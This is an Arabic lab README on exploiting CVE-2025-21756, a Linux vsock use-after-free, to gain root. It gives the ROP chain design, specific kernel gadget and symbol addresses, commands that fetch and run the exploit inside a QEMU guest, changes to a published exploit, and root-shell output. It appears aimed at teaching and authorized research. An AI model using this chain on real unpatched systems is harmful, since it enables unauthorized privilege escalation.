
مختبر تعليمي يوضح استغلال use-after-free (UAF) في نظام vsock الفرعي لنواة لينكس لتصعيد الامتيازات المحلية إلى الجذر، مع إعداد تلقائي وتحليل سلسلة ROP.
لأغراض تعليمية وبحوث أمنية مصرح بها فقط.
CVE-2025-21756 هي ثغرة استخدام بعد التحرير (UAF) في نظام vsock (المقبس الافتراضي) للنواة لينكس، تم الكشف عنها في 26 فبراير 2025. تسمح لمهاجم محلي برفع الامتيازات إلى الجذر على أنظمة لينكس المتأثرة.
net/vmw_vsock/af_vsock.cيحدث الخطأ أثناء إعادة تعيين الناقل لمقبس vsock. التسلسل القابل للاستغلال هو:
vsock_create() ينشئ المقبس مع refcnt=2 ويُدرجه في القائمة غير المقيدةtransport->release() يستدعي vsock_remove_bound() دون التحقق مما إذا كان المقبس قد نُقل إلى القائمة المقيدة، مما يُقلل refcnt بشكل غير صحيحvsock_bind() يفترض أن المقبس لا يزال في القائمة غير المقيدة ويستدعي _vsock_remove_bound() مرة أخرىrefcnt يصل إلى 0 قبل الأوان → يتم تحرير كائن vsock بينما لا يزال مرجعًا → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() مع معرفات CID تُنتج ناقلات مختلفة يتسببان في تحرير كائن vsock قبل الأوان بينما لا يزال مرتبطًا في vsock_bind_tableunix_dgram_sendmsg مع رسائل من الرتبة 2 (MIGRATE_UNMOVABLE)، وملؤها ببيانات مُتحكم بهاvsock_diag_dump (غير محمي بواسطة AppArmor) كقناة جانبية للكشف عن وقت استعادة الصفحة وتحديد الإزاحة الدقيقة للكائن الضحية داخل الصفحةsk->sk_prot ليشير إلى udp_prot+0x1c0 (udp_abort)، والذي عند استدعائه ينادي sk->sk_error_report(sk)، الذي تم الكتابة فوق مؤشره بأداة تحويل المكدسcommit_creds(init_cred) لتعيين بيانات اعتماد الجذر للعملية، متبوعًا بمنصة KPTI للعودة إلى مساحة المستخدمsudo# تنزيل البرنامج النصي للإعداد
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# التشغيل كمستخدم عادي (وليس جذر)
./setup-lab.sh
يتولى البرنامج النصي تلقائيًا:
sudo إذا لم يكن متاحًاbuild-essential، qemu-system-x86، bc، pahole، إلخ)lts-6.6.75، rootfs، ramdisk)run_lab.sh كنقطة دخول واحدةcd ~/cve-2025-21756-lab
./run_lab.sh
بمجرد تشغيل البيئة، قم بتشغيل ما يلي بداخلها:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
للخروج: Ctrl-A X
الثغرة الأساسية من ktranowl. تم تطبيق التعديلات التالية لجعلها تعمل في هذه البيئة:
التعديل: تمت إضافة nokaslr إلى معلمات بدء تشغيل النواة.
السبب: تتجاوز الثغرة الأصلية KASLR باستخدام EntryBleed، وهي تقنية قناة جانبية لتوقيت TLB تتطلب دقة عالية في توقيت وحدة المعالجة المركزية. في بيئة المحاكاة الافتراضية المتداخلة، تكون دقة rdtsc غير كافية لعمل EntryBleed بشكل موثوق، مما ينتج عنه kbase غير صحيح يسبب خطأ في جميع العناوين المحسوبة باستخدام ADDRESS(). يؤدي تعطيل KASLR إلى ضمان تحميل النواة دائمًا عند 0xffffffff81000000 وأن الإزاحات المضمنة في الثغرة صحيحة دائمًا.
user_rip من modeprobe_exec إلى check_rootالتعديل في exploit.c:
// قبل
uint64_t user_rip = (uint64_t)modeprobe_exec;
// بعد
uint64_t user_rip = (uint64_t)check_root;
السبب: modeprobe_exec هي تقنية رفع الامتيازات المستخدمة في الثغرة الأصلية لبيئة kCTF عن بُعد. تتطلب وسيطات سطر أوامر (عنوان IP ومنفذ خادم بعيد) واتصال شبكة خارجي. بدون هذه الوسيطات، يتعطل البرنامج مع خطأ GPF عند محاولة قراءة argv[1]. تتحقق check_root مباشرة من uid وتنفذ /bin/sh، وهو ما يكفي لإظهار الاستغلال في بيئة محلية.
modeprobe_exec داخل check_rootالتعديل في exploit.c:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removed
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
السبب: حتى مع توجيه user_rip إلى check_root، كانت هذه الدالة تستدعي داخليًا modeprobe_exec مرة أخرى قبل تنفيذ /bin/sh. بدون الوسيطات المطلوبة، تسبب هذا الاستدعاء في حدوث خطأ GPF وتم إنهاء العملية دون فتح قشرة، على الرغم من أن commit_creds قد رفعت الامتيازات بنجاح.
أثناء عملية إعداد المختبر، تم التحقق من جميع رموز النواة وأدوات ROP مقابل نواة kCTF الرسمية lts-6.6.75 لتأكيد صلاحيتها لهذه البيئة.
لم يتطلب أي من هذه تعديلات.
جميع القيم تطابق الأصلية في الثغرة. لم تكن هناك حاجة لتعديلات.
address_contain_udp_abortلا تشير هذه القيمة مباشرة إلى دالة udp_abort. إنها تشير إلى udp_prot + 0x1c0، وهو حقل diag_destroy داخل struct proto. هذا مقصود: vsock_release يستدعي sk->sk_prot->close(sk, 0)، حيث close يقع عند الإزاحة 0 من struct proto. بتوجيه sk_prot إلى udp_prot->diag_destroy بدلاً من بداية udp_prot، تقرأ النواة diag_destroy كما لو كان مؤشر close، والذي يحتوي على udp_abort. هذا يتسلسل إلى → ، حيث توضع أداة تحويل المكدس.
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot points to udp_prot+0x1c0
└── udp_abort(sk) ← diag_destroy field, read as close()
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← stack pivot gadget
└── ROP chain
└── commit_creds(init_cred)
└── kpti_trampoline → root shell
التصحيح الرسمي متاح من نواة 6.14-rc1 وتم نقله إلى جميع فروع LTS المدعومة. أصدرت التوزيعات المتأثرة تنبيهاتها الخاصة:
تم توفير هذه الأداة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام.
execve("/bin/sh")| الأداة | العنوان | الغرض |
|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | تحويل المكدس — ينقل RSP إلى بداية كائن vsock المُتحكم به |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | تقدم المكدس — يتجاوز الحقول المحجوزة للوصول إلى سلسلة ROP |
pop rdi ; ret | 0xffffffff8115e4f9 | تحميل الوسيطة الأولى لـ commit_creds(init_cred) |
| الرمز | العنوان | ملاحظات |
|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | مرساة القناة الجانبية — فتحة قائمة vsock حيث يقع الكائن الضحية |
init_net | 0xffffffff84bb1f80 | يستخدم للتحقق من كائن vsock المزيف عبر vsock_diag_dump |
commit_creds | 0xffffffff811fdac0 | يعين بيانات اعتماد الجذر للعملية الحالية |
init_cred | 0xffffffff83c74d80 | هيكل بيانات اعتماد مع uid=gid=0، بإزاحة ثابتة من قاعدة النواة |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — يستعيد CR3 ويعود إلى مساحة المستخدم |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — انظر الملاحظة أدناه |
sk_error_report(sk)sk->sk_error_report(sk)| الجانب | الأصلي (ktranowl) | هذا المختبر |
|---|
| تجاوز KASLR | EntryBleed (توقيت TLB) | معطل (nokaslr) |
| تقنية رفع الامتيازات | modeprobe_exec عبر core_pattern | execve("/bin/sh") مباشرة |
| بيئة الهدف | kCTF عن بُعد | محلي |
| اتصال خارجي مطلوب | نعم | لا |
| المصدر | الرابط |
|---|
| الشرح الأصلي (Hoefler) | https://hoefler.dev/articles/vsock.html |
| ثغرة Hoefler | https://github.com/hoefler02/CVE-2025-21756 |
| تحليل n-day (ktranowl) | https://hackmd.io/@ktranowl/H1XRm4zBxl |
| ثغرة ktranowl | https://github.com/khoatran107/cve-2025-21756 |
| التصحيح الرسمي | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-21756 |
| قواعد kCTF | https://google.github.io/security-research/kernelctf/rules.html |